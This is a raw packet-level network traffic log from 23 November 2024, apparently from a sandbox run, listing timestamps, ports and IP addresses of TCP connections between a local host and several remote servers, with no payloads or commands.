Nov 23, 2024 11:22:17.130160093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.130223989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.130270004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.130897999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.130944967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.131073952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.131114960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.131793022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.131829023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.131846905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.131867886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.132684946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.132720947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.132739067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.132767916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.133563995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.133615017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.134001017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.134043932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.134454012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.134490967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.134504080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.134533882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.135289907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.135339975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.135345936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.135391951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.136117935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.136152983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.136169910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.136189938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.136986971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.137039900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.137130976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.137176037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.137871981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.137921095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.137973070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.138016939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.138710022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.138761044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.138830900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.138870955 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.139544010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.139592886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.139615059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.139658928 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.140516043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.140572071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.140634060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.140686035 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.141292095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.141349077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.141422987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.141499043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.142168999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.142218113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.142486095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.142581940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.143122911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.143176079 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.143527031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.143575907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.143873930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.143935919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.144009113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.144054890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.144774914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.144943953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.144998074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.145631075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.145742893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.145797014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.146533966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.146570921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.146584034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.146612883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.147389889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.147423029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.147444963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.147495985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.148303986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.148363113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.148441076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.148556948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.149167061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.149203062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.149259090 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.226864100 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.226931095 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.227014065 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.227408886 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.227408886 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.227421999 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.227431059 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.230526924 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.230612040 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.230698109 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.230884075 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.230916023 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.254673004 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.254755974 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.254900932 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.254925013 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.254929066 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.254937887 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.254941940 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.256918907 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.256957054 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.257028103 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.257139921 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.257158041 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.305282116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.305346012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.305432081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.305483103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.305648088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.305696964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.305849075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.305951118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.306000948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.306715965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.306766987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.306838989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.306885004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.307615042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.307661057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.307677031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.307722092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.307904005 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.307971001 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.308084965 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.308124065 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.308135033 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.308160067 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.308165073 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.308540106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.308639050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.308870077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.309371948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.309551954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.309621096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.310122013 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.310161114 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.310190916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.310235023 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.310280085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.310421944 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.310451984 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.310533047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.310583115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.311029911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.311070919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.311225891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.311270952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.311932087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.311980009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.312128067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.312172890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.312769890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:17.312822104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:17.350519896 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.350608110 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.350680113 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.350883007 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.350893021 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.350908041 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.350914001 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.353672028 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.353688955 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.353776932 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.353884935 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.353902102 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.417222023 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.417294025 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.417368889 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.425127029 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.425127029 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.425137043 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.425143957 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.428136110 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.428178072 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:17.428272963 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.428401947 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:17.428422928 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.015604019 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.016087055 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.016144037 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.016663074 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.016678095 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.037705898 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.038321018 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.038367033 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.038826942 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.038840055 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.042082071 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.044823885 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.044836044 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.045275927 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.045281887 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.103740931 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:19.134169102 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.136884928 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.136900902 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.137341022 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.137346029 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.214385033 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.219865084 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.219892025 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.220312119 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.220318079 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.223356009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:19.223445892 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:19.224572897 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:19.344218969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:19.459337950 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.459428072 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.459604979 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.466180086 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.466181040 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.466231108 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.466258049 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.478863001 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.478909969 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.478986025 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.489324093 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.489443064 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.489521027 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.578548908 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.578612089 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.578799963 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.583869934 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.583869934 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.583904028 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.583937883 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.599055052 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.599070072 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.599104881 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.599111080 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.654824972 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.654838085 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.654850006 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.654855967 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.667052984 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.667104959 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.667180061 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.716749907 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.716763973 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.768964052 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.768999100 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.769090891 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.769429922 CET	49759	80	192.168.2.4	185.215.113.43
Nov 23, 2024 11:22:19.769860983 CET	49788	80	192.168.2.4	185.215.113.43
Nov 23, 2024 11:22:19.769866943 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.769918919 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.769979000 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.770184040 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.770195007 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.770677090 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.770688057 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.771913052 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.771944046 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.772006035 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.772017956 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.772044897 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.772084951 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.772156000 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.772169113 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.772286892 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.772296906 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.772947073 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.772964954 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.773108006 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.773197889 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:19.773210049 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:19.889260054 CET	80	49759	185.215.113.43	192.168.2.4
Nov 23, 2024 11:22:19.889334917 CET	49759	80	192.168.2.4	185.215.113.43
Nov 23, 2024 11:22:19.889357090 CET	80	49788	185.215.113.43	192.168.2.4
Nov 23, 2024 11:22:19.889554024 CET	49788	80	192.168.2.4	185.215.113.43
Nov 23, 2024 11:22:19.889724970 CET	49788	80	192.168.2.4	185.215.113.43
Nov 23, 2024 11:22:20.009258032 CET	80	49788	185.215.113.43	192.168.2.4
Nov 23, 2024 11:22:20.768131018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.768177032 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.768188000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.768219948 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.768233061 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.768246889 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.768261909 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.768269062 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:20.768286943 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:20.768309116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.768336058 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.768346071 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.768351078 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:20.768388033 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:20.888853073 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.888967991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.889036894 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:20.978626966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.978764057 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.978809118 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:20.982944012 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.983067989 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.983113050 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:20.991354942 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.991499901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.991538048 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:20.999701977 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.999913931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:20.999969006 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.008085012 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.008219004 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.008265972 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.016454935 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.016582012 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.016654968 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.024827957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.024883986 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.024992943 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.033490896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.033710957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.033765078 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.044950008 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.044962883 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.045007944 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.050205946 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.050263882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.050340891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.060746908 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.061392069 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.061439037 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.189519882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.189590931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.189703941 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.192183971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.192306995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.192455053 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:21.197774887 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.197850943 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:21.197997093 CET	49786	80	192.168.2.4	34.116.198.130
